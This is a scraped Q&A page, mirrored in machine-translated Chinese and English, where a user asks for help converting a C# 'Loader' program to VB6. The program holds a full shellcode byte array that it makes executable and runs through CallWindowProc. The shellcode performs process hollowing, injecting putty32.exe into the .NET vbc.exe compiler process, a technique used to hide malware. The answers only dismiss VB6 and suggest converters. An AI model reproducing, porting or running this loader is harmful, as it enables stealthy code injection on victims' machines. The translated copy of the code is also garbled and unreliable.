从C#转换为visual basic 6 [英] Convert from C# to visual basic 6

查看:78
本文介绍了从C#转换为visual basic 6的处理方法,对大家解决问题具有一定的参考价值,需要的朋友们下面随着小编来一起学习吧!

问题描述

大家好我得到了这段代码,我希望使用System转换为c#o vb6



 
使用System.IO;
使用System.Runtime.InteropServices;
使用System.Text;

namespace Loader
{
class program
{
[DllImport(kernel32.dll)]
private static extern bool VirtualProtect( byte [] data,int size,uint flNewProtect,out uint lpflOldProtect);

[DllImport(user32.dll)]
private static extern IntPtr CallWindowProc(byte [] lpPrevWndFunc,byte [] hWnd,byte [] Msg,uint wParam,uint lParam);

private static byte [] _hexData = {
0x55,0x8B,0xEC,0x8B,0x55​​,0x0C,0x8B,0x4D,0x08,0xE8,0x02,0x01,0x00,0x00,0x33, 0xC0,
0x5D,0xC2,0x10,0x00,0xCC,0xCC,0xCC,0xCC,0xCC,0xCC,0xCC,0xCC,0xCC,0xCC,0xCC,0xCC,
0x55,0x8B,0xEC,0x51, 0x8B,0x45,0x08,0x89,0x45,0xFC,0x83,0x7D,0x10,0x00,0x76,0x1C,
0x8B,0x4D,0xFC,0x8A,0x55​​,0x0C,0x88,0x11,0x8B,0x45,0xFC, 0x83,0xC0,0x01,0x89,0x45,
0xFC,0x8B,0x4D,0x10,0x83,0xE9,0x01,0x89,0x4D,0x10,0xEB,0xDE,0x8B,0x45,0x08,0x8B,
0xE5,0x5D,0xC3,0xCC,0xCC,0xCC,0xCC,0xCC,0xCC,0xCC,0xCC,0xCC,0xCC,0xCC,0xCC,0xCC,
0x55,0x8B,0xEC,0x83,0xEC,0x18,0x89, 0x55,0xF4,0x8B,0xD1,0x53,0x56,0x33,0xF6,0x89,
0x55,0xFC,0x8B,0x42,0x3C,0x57,0x8B,0x44,0x10,0x78,0x03,0xC2,0x8B,0x58, 0x1C,0x8B,
0x48,0x20,0x03, 0xDA,0x89,0x5D,0xE8,0x03,0xCA,0x8B,0x58,0x24,0x03,0xDA,0x89,0x4D,
0xF0,0x89,0x5D,0xEC,0x8B,0x58,0x18,0x89,0x5D,0xF8, 0x85,0xDB,0x74,0x50,0x66,0x90,
0x8B,0x04,0xB1,0xBF,0xC5,0x9D,0x1C,0x81,0x8A,0x2C,0x10,0x03,0xC2,0x84,0xED,0x74,
0x30,0x8A,0xDD,0x8D,0x40,0x01,0x8A,0xCD,0x80,0xEB,0x41,0x80,0xC1,0x20,0x80,0xFB,
0x19,0x0F,0xB6,0xD1,0x0F,0xB6, 0xCD,0x0F,0x47,0xD1,0x0F,0xB6,0xCA,0x33,0xCF,0x69,
0xF9,0x93,0x01,0x00,0x01,0x8A,0x28,0x84,0xED,0x75,0xD6,0x8B,0x55​​, 0xFC,0x8B,0x5D,
0xF8,0x3B,0x7D,0xF4,0x74,0x11,0x8B,0x4D,0xF0,0x46,0x3B,0xF3,0​​x72,0xB2,0x5F,0x5E,
0x33,0xC0, 0x5B,0x8B,0xE5,0x5D,0xC3,0x8B,0x45,0xEC,0x8B,0x4D,0xE8,0x5F,0x0F,0xB7,
0x04,0x70,0x5E,0x5B,0x8B,0x04,0x81,0x03,0xC2, 0x8B,0xE5,0x5D,0xC3,0xCC,0xCC,0xCC,
0x55,0x8B,0xEC,0x83,0xE4,0xF8,0x81,0xEC,0x5C,0x03,0x00,0x00,0x64,0xA1,0x30,0x00,
0x00,0x00,0x89,0x4C,0x24,0x14,0x53, 0x56,0x8B,0x48,0x0C,0x8B,0x41,0x14,0x83,0xC1,
0x14,0x89,0x54,0x24,0x20,0x89,0x4C,0x24,0x18,0x89,0x44,0x24,0x0C,0x57, 0x3B,0xC1,
0x74,0x61,0x0F,0xB7,0x58,0x24,0xD1,0xEB,0xC7,0x44,0x24,0x14,0xC5,0x9D,0x1C,0x81,
0x74,0x47,0x8B, 0x40,0x28,0x0F,0xB7,0x38,0x8D,0x40,0x02,0x8B,0xCF,0x8D,0x51,0xBF,
0x83,0xC1,0x20,0x0F,0xB7,0xF1,0x66,0x83,0xFA,0x19, 0x8B,0xCF,0x0F,0x47,0xF1,0x0F,
0xB7,0xCE,0x33,0x4C,0x24,0x14,0x69,0xC9,0x93,0x01,0x00,0x01,0x89,0x4C,0x24,0x14,
0x83,0xEB,0x01,0x75,0xD0,0x8B,0x44,0x24,0x10,0x81,0xF9,0xC3,0xF6,0xE6,0xA3,0x0F,
0x84,0x35,0x02,0x00,0x00,0x8B, 0x4C,0x24,0x1C,0x8B,0x00,0x89,0x44,0x24,0x10,0x3B,
0xC1,0x75,0x9F,0x33,0xF6,0xBA,0x9F,0xD6,0x42,0x13,0x8B,0xCE,0xE8,0xAF,0xFE,0xFF,
0xFF,0xBA,0x5E,0x7F,0x08, 0x5B,0x89,0x44,0x24,0x38,0x8B,0xCE,0xE8,0x9F,0xFE,0xFF,
0xFF,0xBA,0xBC,0xDF,0x96,0x7B,0x89,0x44,0x24,0x3C,0x8B,0xCE, 0xE8,0x8F,0xFE,0xFF,
0xFF,0xBA,0xD9,0x19,0x82,0xF3,0​​x89,0x44,0x24,0x40,0x8B,0xCE,0xE8,0x7F,0xFE,0xFF,
0xFF, 0xBA,0x8A,0xB7,0xB9,0xFB,0x89,0x44,0x24,0x44,0x8B,0xCE,0xE8,0x6F,0xFE,0xFF,
0xFF,0x8B,0xF8,0xBA,0xF2,0x75,0x87,0xC6, 0x8B,0xCE,0x89,0x7C,0x24,0x10,0xE8,0x5D,
0xFE,0xFF,0xFF,0xBA,0xEE,0x6A,0xA6,0x7C,0x89,0x44,0x24,0x48,0x8B,0xCE,0xE8, 0x4D,
0xFE,0xFF,0xFF,0xBA,0xA5,0xAC,0x85,0x82,0x89,0x44,0x24,0x4C,0x8B,0xCE,0xE8,0x3D,
0xFE,0xFF,0xFF,0x8B, 0x74,0x24,0x24,0x6A,0x10,0x89,0x44,0x24,0x20,0 x8D,0x44,0x24,
0x2C,0x6A,0x00,0x8B,0x5E,0x3C,0x03,0xDE,0x50,0x0F,0xB7,0x4B,0x14,0x03,0xCB,0x89,
0x4C,0x24, 0x20,0xE8,0xD8,0xFD,0xFF,0xFF,0x6A,0x44,0x8D,0x44,0x24,0x60,0x6A,0x00,
0x50,0xE8,0xCA,0xFD,0xFF,0xFF,0x68,0xCC,0x02, 0x00,0x00,0x8D,0x84,0x24,0xB4,0x00,
0x00,0x00,0x6A,0x00,0x50,0xE8,0xB6,0xFD,0xFF,0xFF,0x8B,0x44,0x24,0x44,0x83,0xC4,
0x24,0x85,0xC0,0x0F,0x84,0x4A,0x01,0x00,0x00,0xB9,0x4D,0x5A,0x00,0x00,0x66,0x39,
0x0E,0x0F,0x85,0x3C,0x01, 0x00,0x00,0x81,0x3B,0x50,0x45,0x00,0x00,0x0F,0x85,0x30,
0x01,0x00,0x00,0xB9,0x4C,0x01,0x00,0x00,0x66,0x39,0x4B,0x04, 0x0F,0x85,0x21,0x01,
0x00,0x00,0x8D,0x4C,0x24,0x28,0x51,0x8D,0x4C,0x24,0x54,0x51,0x6A,0x00,0x6A,0x00,
0x6A, 0x04,0x6A,0x00,0x6A,0x00,0x6A,0x00,0x6A,0x00,0x 50,0xFF,0x54,0x24,0x60,0x8D,
0x84,0x24,0x98,0x00,0x00,0x00,0xC7,0x84,0x24,0x98,0x00,0x00,0x00,0x02,0x00,0x01,
0x00,0x50,0xFF,0x74,0x24,0x30,0xFF,0x54,0x24,0x44,0x85,0xC0,0x0F,0x84,0xE1,0x00,
0x00,0x00,0x6A,0x40,0x68,0x00, 0x30,0x00,0x00,0xFF,0x73,0x50,0xFF,0x73,0x34,0xFF,
0x74,0x24,0x38,0xFF,0x54,0x24,0x54,0x89,0x44,0x24,0x18,0x85,0xC0, 0x75,0x18,0x50,
0xFF,0x74,0x24,0x2C,0xFF,0x54,0x24,0x4C,0x8B,0x4C,0x24,0x20,0x8B,0xD6,0xE8,0xFD,
0xFD,0xFF, 0xFF,0x8B,0x44,0x24,0x18,0x6A,0x00,0xFF,0x73,0x54,0x56,0x50,0xFF,0x74,
0x24,0x38,0xFF,0xD7,0x33,0xC0,0x33,0xFF,0x66, 0x3B,0x43,0x06,0x73,0x39,0x8B,0x44,
0x24,0x14,0x8D,0x70,0x2C,0x83,0x78,0x28,0x00,0x74,0x1C,0x8B,0x06,0x03,0x44,0x24,
0x24,0x6A,0x00,0xFF,0x76,0xFC,0x50,0x8 B,0x46,0xF8,0x03,0x44,0x24,0x24,0x50,0xFF,
0x74,0x24,0x38,0xFF,0x54,0x24,0x24,0x0F,0xB7,0x43,0x06,0x47,0x83,0xC6, 0x28,0x3B,
0xF8,0x8B,0x44,0x24,0x14,0x72,0xCE,0x6A,0x00,0x6A,0x04,0x8D,0x44,0x24,0x20,0x50,
0x8B,0x84,0x24, 0x48,0x01,0x00,0x00,0x83,0xC0,0x08,0x50,0xFF,0x74,0x24,0x38,0xFF,
0x54,0x24,0x24,0x8B,0x43,0x28,0x03,0x44,0x24,0x18, 0x89,0x84,0x24,0x48,0x01,0x00,
0x00,0x8D,0x84,0x24,0x98,0x00,0x00,0x00,0x50,0xFF,0x74,0x24,0x30,0xFF,0x54,0x24,
0x50,0xFF,0x74,0x24,0x2C,0xFF,0x54,0x24,0x50,0x8B,0x44,0x24,0x28,0x8B,0x74,0x24,
0x1C,0x85,0xC0,0x74,0x03,0x50, 0xFF,0xD6,0x8B,0x44,0x24,0x2C,0x85,0xC0,0x74,0x03,
0x50,0xFF,0xD6,0x5F,0x5E,0x5B,0x8B,0xE5,0x5D,0xC3,0x8B,0x70,0x10, 0xE9,0xD3,0xFD,
0xFF,0xFF,0x00,0x00,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
};

static void Main(string [] args)
{
VirtualProtect(_hexData,_hexData.Length,0x40,out out uint old);

byte [] injectionPath = Encoding.Unicode.GetBytes(Path.Combine(RuntimeEnvironment.GetRuntimeDirectory(),vbc.exe));
byte [] putty32 = File.ReadAllBytes(putty32.exe);
CallWindowProc(_hexData,injectionPath,putty32,0,0);

Console.ReadKey();
}
}
}





我尝试了什么:



我没有尝试任何想法,因为我的技能在vb6上并不是那么好,我只是想通过这次转换来帮助我的朋友

解决方案

从C#到VB6真的没有路径。告诉你的朋友VB6已经过时了20年了,没有理由学习或使用它。



https://www.codeproject.com/Questions/797660 /如何调用函数 - 这是另一个DLL-Win



这个答案解释了如何在VB6中调用dll函数。


有很多在线转换器,请参阅: Google [ ^ ]



任何方式,我不建议将任何东西转换为VB。正如 Christian Graus [ ^ ]提到这种编程语言很老,现在几乎没用。甚至没有比较这些语言的机会。如果你的朋友知道VB,他可以使用VB.NET。这可能是一个很好的起点:使用VB.NET DLL挂钩非托管进程 [ ^ ]

Hello guys i got this code and i want to convert from c# o vb6

using System;
using System.IO;
using System.Runtime.InteropServices;
using System.Text;

namespace Loader
{
    class Program
    {
        [DllImport("kernel32.dll")]
        private static extern bool VirtualProtect(byte[] data, int size, uint flNewProtect, out uint lpflOldProtect);

        [DllImport("user32.dll")]
        private static extern IntPtr CallWindowProc(byte[] lpPrevWndFunc, byte[] hWnd, byte[] Msg, uint wParam, uint lParam);
        
        private static byte[] _hexData = {
            0x55, 0x8B, 0xEC, 0x8B, 0x55, 0x0C, 0x8B, 0x4D, 0x08, 0xE8, 0x02, 0x01, 0x00, 0x00, 0x33, 0xC0,
            0x5D, 0xC2, 0x10, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC,
            0x55, 0x8B, 0xEC, 0x51, 0x8B, 0x45, 0x08, 0x89, 0x45, 0xFC, 0x83, 0x7D, 0x10, 0x00, 0x76, 0x1C,
            0x8B, 0x4D, 0xFC, 0x8A, 0x55, 0x0C, 0x88, 0x11, 0x8B, 0x45, 0xFC, 0x83, 0xC0, 0x01, 0x89, 0x45,
            0xFC, 0x8B, 0x4D, 0x10, 0x83, 0xE9, 0x01, 0x89, 0x4D, 0x10, 0xEB, 0xDE, 0x8B, 0x45, 0x08, 0x8B,
            0xE5, 0x5D, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC,
            0x55, 0x8B, 0xEC, 0x83, 0xEC, 0x18, 0x89, 0x55, 0xF4, 0x8B, 0xD1, 0x53, 0x56, 0x33, 0xF6, 0x89,
            0x55, 0xFC, 0x8B, 0x42, 0x3C, 0x57, 0x8B, 0x44, 0x10, 0x78, 0x03, 0xC2, 0x8B, 0x58, 0x1C, 0x8B,
            0x48, 0x20, 0x03, 0xDA, 0x89, 0x5D, 0xE8, 0x03, 0xCA, 0x8B, 0x58, 0x24, 0x03, 0xDA, 0x89, 0x4D,
            0xF0, 0x89, 0x5D, 0xEC, 0x8B, 0x58, 0x18, 0x89, 0x5D, 0xF8, 0x85, 0xDB, 0x74, 0x50, 0x66, 0x90,
            0x8B, 0x04, 0xB1, 0xBF, 0xC5, 0x9D, 0x1C, 0x81, 0x8A, 0x2C, 0x10, 0x03, 0xC2, 0x84, 0xED, 0x74,
            0x30, 0x8A, 0xDD, 0x8D, 0x40, 0x01, 0x8A, 0xCD, 0x80, 0xEB, 0x41, 0x80, 0xC1, 0x20, 0x80, 0xFB,
            0x19, 0x0F, 0xB6, 0xD1, 0x0F, 0xB6, 0xCD, 0x0F, 0x47, 0xD1, 0x0F, 0xB6, 0xCA, 0x33, 0xCF, 0x69,
            0xF9, 0x93, 0x01, 0x00, 0x01, 0x8A, 0x28, 0x84, 0xED, 0x75, 0xD6, 0x8B, 0x55, 0xFC, 0x8B, 0x5D,
            0xF8, 0x3B, 0x7D, 0xF4, 0x74, 0x11, 0x8B, 0x4D, 0xF0, 0x46, 0x3B, 0xF3, 0x72, 0xB2, 0x5F, 0x5E,
            0x33, 0xC0, 0x5B, 0x8B, 0xE5, 0x5D, 0xC3, 0x8B, 0x45, 0xEC, 0x8B, 0x4D, 0xE8, 0x5F, 0x0F, 0xB7,
            0x04, 0x70, 0x5E, 0x5B, 0x8B, 0x04, 0x81, 0x03, 0xC2, 0x8B, 0xE5, 0x5D, 0xC3, 0xCC, 0xCC, 0xCC,
            0x55, 0x8B, 0xEC, 0x83, 0xE4, 0xF8, 0x81, 0xEC, 0x5C, 0x03, 0x00, 0x00, 0x64, 0xA1, 0x30, 0x00,
            0x00, 0x00, 0x89, 0x4C, 0x24, 0x14, 0x53, 0x56, 0x8B, 0x48, 0x0C, 0x8B, 0x41, 0x14, 0x83, 0xC1,
            0x14, 0x89, 0x54, 0x24, 0x20, 0x89, 0x4C, 0x24, 0x18, 0x89, 0x44, 0x24, 0x0C, 0x57, 0x3B, 0xC1,
            0x74, 0x61, 0x0F, 0xB7, 0x58, 0x24, 0xD1, 0xEB, 0xC7, 0x44, 0x24, 0x14, 0xC5, 0x9D, 0x1C, 0x81,
            0x74, 0x47, 0x8B, 0x40, 0x28, 0x0F, 0xB7, 0x38, 0x8D, 0x40, 0x02, 0x8B, 0xCF, 0x8D, 0x51, 0xBF,
            0x83, 0xC1, 0x20, 0x0F, 0xB7, 0xF1, 0x66, 0x83, 0xFA, 0x19, 0x8B, 0xCF, 0x0F, 0x47, 0xF1, 0x0F,
            0xB7, 0xCE, 0x33, 0x4C, 0x24, 0x14, 0x69, 0xC9, 0x93, 0x01, 0x00, 0x01, 0x89, 0x4C, 0x24, 0x14,
            0x83, 0xEB, 0x01, 0x75, 0xD0, 0x8B, 0x44, 0x24, 0x10, 0x81, 0xF9, 0xC3, 0xF6, 0xE6, 0xA3, 0x0F,
            0x84, 0x35, 0x02, 0x00, 0x00, 0x8B, 0x4C, 0x24, 0x1C, 0x8B, 0x00, 0x89, 0x44, 0x24, 0x10, 0x3B,
            0xC1, 0x75, 0x9F, 0x33, 0xF6, 0xBA, 0x9F, 0xD6, 0x42, 0x13, 0x8B, 0xCE, 0xE8, 0xAF, 0xFE, 0xFF,
            0xFF, 0xBA, 0x5E, 0x7F, 0x08, 0x5B, 0x89, 0x44, 0x24, 0x38, 0x8B, 0xCE, 0xE8, 0x9F, 0xFE, 0xFF,
            0xFF, 0xBA, 0xBC, 0xDF, 0x96, 0x7B, 0x89, 0x44, 0x24, 0x3C, 0x8B, 0xCE, 0xE8, 0x8F, 0xFE, 0xFF,
            0xFF, 0xBA, 0xD9, 0x19, 0x82, 0xF3, 0x89, 0x44, 0x24, 0x40, 0x8B, 0xCE, 0xE8, 0x7F, 0xFE, 0xFF,
            0xFF, 0xBA, 0x8A, 0xB7, 0xB9, 0xFB, 0x89, 0x44, 0x24, 0x44, 0x8B, 0xCE, 0xE8, 0x6F, 0xFE, 0xFF,
            0xFF, 0x8B, 0xF8, 0xBA, 0xF2, 0x75, 0x87, 0xC6, 0x8B, 0xCE, 0x89, 0x7C, 0x24, 0x10, 0xE8, 0x5D,
            0xFE, 0xFF, 0xFF, 0xBA, 0xEE, 0x6A, 0xA6, 0x7C, 0x89, 0x44, 0x24, 0x48, 0x8B, 0xCE, 0xE8, 0x4D,
            0xFE, 0xFF, 0xFF, 0xBA, 0xA5, 0xAC, 0x85, 0x82, 0x89, 0x44, 0x24, 0x4C, 0x8B, 0xCE, 0xE8, 0x3D,
            0xFE, 0xFF, 0xFF, 0x8B, 0x74, 0x24, 0x24, 0x6A, 0x10, 0x89, 0x44, 0x24, 0x20, 0x8D, 0x44, 0x24,
            0x2C, 0x6A, 0x00, 0x8B, 0x5E, 0x3C, 0x03, 0xDE, 0x50, 0x0F, 0xB7, 0x4B, 0x14, 0x03, 0xCB, 0x89,
            0x4C, 0x24, 0x20, 0xE8, 0xD8, 0xFD, 0xFF, 0xFF, 0x6A, 0x44, 0x8D, 0x44, 0x24, 0x60, 0x6A, 0x00,
            0x50, 0xE8, 0xCA, 0xFD, 0xFF, 0xFF, 0x68, 0xCC, 0x02, 0x00, 0x00, 0x8D, 0x84, 0x24, 0xB4, 0x00,
            0x00, 0x00, 0x6A, 0x00, 0x50, 0xE8, 0xB6, 0xFD, 0xFF, 0xFF, 0x8B, 0x44, 0x24, 0x44, 0x83, 0xC4,
            0x24, 0x85, 0xC0, 0x0F, 0x84, 0x4A, 0x01, 0x00, 0x00, 0xB9, 0x4D, 0x5A, 0x00, 0x00, 0x66, 0x39,
            0x0E, 0x0F, 0x85, 0x3C, 0x01, 0x00, 0x00, 0x81, 0x3B, 0x50, 0x45, 0x00, 0x00, 0x0F, 0x85, 0x30,
            0x01, 0x00, 0x00, 0xB9, 0x4C, 0x01, 0x00, 0x00, 0x66, 0x39, 0x4B, 0x04, 0x0F, 0x85, 0x21, 0x01,
            0x00, 0x00, 0x8D, 0x4C, 0x24, 0x28, 0x51, 0x8D, 0x4C, 0x24, 0x54, 0x51, 0x6A, 0x00, 0x6A, 0x00,
            0x6A, 0x04, 0x6A, 0x00, 0x6A, 0x00, 0x6A, 0x00, 0x6A, 0x00, 0x50, 0xFF, 0x54, 0x24, 0x60, 0x8D,
            0x84, 0x24, 0x98, 0x00, 0x00, 0x00, 0xC7, 0x84, 0x24, 0x98, 0x00, 0x00, 0x00, 0x02, 0x00, 0x01,
            0x00, 0x50, 0xFF, 0x74, 0x24, 0x30, 0xFF, 0x54, 0x24, 0x44, 0x85, 0xC0, 0x0F, 0x84, 0xE1, 0x00,
            0x00, 0x00, 0x6A, 0x40, 0x68, 0x00, 0x30, 0x00, 0x00, 0xFF, 0x73, 0x50, 0xFF, 0x73, 0x34, 0xFF,
            0x74, 0x24, 0x38, 0xFF, 0x54, 0x24, 0x54, 0x89, 0x44, 0x24, 0x18, 0x85, 0xC0, 0x75, 0x18, 0x50,
            0xFF, 0x74, 0x24, 0x2C, 0xFF, 0x54, 0x24, 0x4C, 0x8B, 0x4C, 0x24, 0x20, 0x8B, 0xD6, 0xE8, 0xFD,
            0xFD, 0xFF, 0xFF, 0x8B, 0x44, 0x24, 0x18, 0x6A, 0x00, 0xFF, 0x73, 0x54, 0x56, 0x50, 0xFF, 0x74,
            0x24, 0x38, 0xFF, 0xD7, 0x33, 0xC0, 0x33, 0xFF, 0x66, 0x3B, 0x43, 0x06, 0x73, 0x39, 0x8B, 0x44,
            0x24, 0x14, 0x8D, 0x70, 0x2C, 0x83, 0x78, 0x28, 0x00, 0x74, 0x1C, 0x8B, 0x06, 0x03, 0x44, 0x24,
            0x24, 0x6A, 0x00, 0xFF, 0x76, 0xFC, 0x50, 0x8B, 0x46, 0xF8, 0x03, 0x44, 0x24, 0x24, 0x50, 0xFF,
            0x74, 0x24, 0x38, 0xFF, 0x54, 0x24, 0x24, 0x0F, 0xB7, 0x43, 0x06, 0x47, 0x83, 0xC6, 0x28, 0x3B,
            0xF8, 0x8B, 0x44, 0x24, 0x14, 0x72, 0xCE, 0x6A, 0x00, 0x6A, 0x04, 0x8D, 0x44, 0x24, 0x20, 0x50,
            0x8B, 0x84, 0x24, 0x48, 0x01, 0x00, 0x00, 0x83, 0xC0, 0x08, 0x50, 0xFF, 0x74, 0x24, 0x38, 0xFF,
            0x54, 0x24, 0x24, 0x8B, 0x43, 0x28, 0x03, 0x44, 0x24, 0x18, 0x89, 0x84, 0x24, 0x48, 0x01, 0x00,
            0x00, 0x8D, 0x84, 0x24, 0x98, 0x00, 0x00, 0x00, 0x50, 0xFF, 0x74, 0x24, 0x30, 0xFF, 0x54, 0x24,
            0x50, 0xFF, 0x74, 0x24, 0x2C, 0xFF, 0x54, 0x24, 0x50, 0x8B, 0x44, 0x24, 0x28, 0x8B, 0x74, 0x24,
            0x1C, 0x85, 0xC0, 0x74, 0x03, 0x50, 0xFF, 0xD6, 0x8B, 0x44, 0x24, 0x2C, 0x85, 0xC0, 0x74, 0x03,
            0x50, 0xFF, 0xD6, 0x5F, 0x5E, 0x5B, 0x8B, 0xE5, 0x5D, 0xC3, 0x8B, 0x70, 0x10, 0xE9, 0xD3, 0xFD,
            0xFF, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
            0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
            0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 
        };
        
        static void Main(string[] args)
        {
            VirtualProtect(_hexData, _hexData.Length, 0x40, out uint old);

            byte[] injectionPath = Encoding.Unicode.GetBytes(Path.Combine(RuntimeEnvironment.GetRuntimeDirectory(), "vbc.exe"));
            byte[] putty32 = File.ReadAllBytes("putty32.exe");
            CallWindowProc(_hexData, injectionPath, putty32, 0, 0);
            
            Console.ReadKey();
        }
    }
}



What I have tried:

Im not trying to anythinig,because my skills are not so good on vb6, i just trying to help of 1 my friend with this converting

解决方案

There's really no path from C# to VB6. Tell your friend VB6 has been obsolete for 20 years now, there's no reason to learn or use it.

https://www.codeproject.com/Questions/797660/How-to-call-a-function-which-is-in-another-DLL-Win

This answer explains how to call a dll function in VB6.


There's a lot of online converters, see: Google[^]

Any way, i do not recommend to convert anything to VB. As Christian Graus[^] mentioned this programming language is very old and almost useless these days. There's no even chance to compare these languages. If your friend knows VB, he can use VB.NET. This might be good place to start: Hook Unmanaged Processes Using VB.NET DLLs[^]


这篇关于从C#转换为visual basic 6的文章就介绍到这了,希望我们推荐的答案对大家有所帮助,也希望大家多多支持IT屋!

查看全文
登录 关闭
扫码关注1秒登录
发送“验证码”获取 | 15天全站免登陆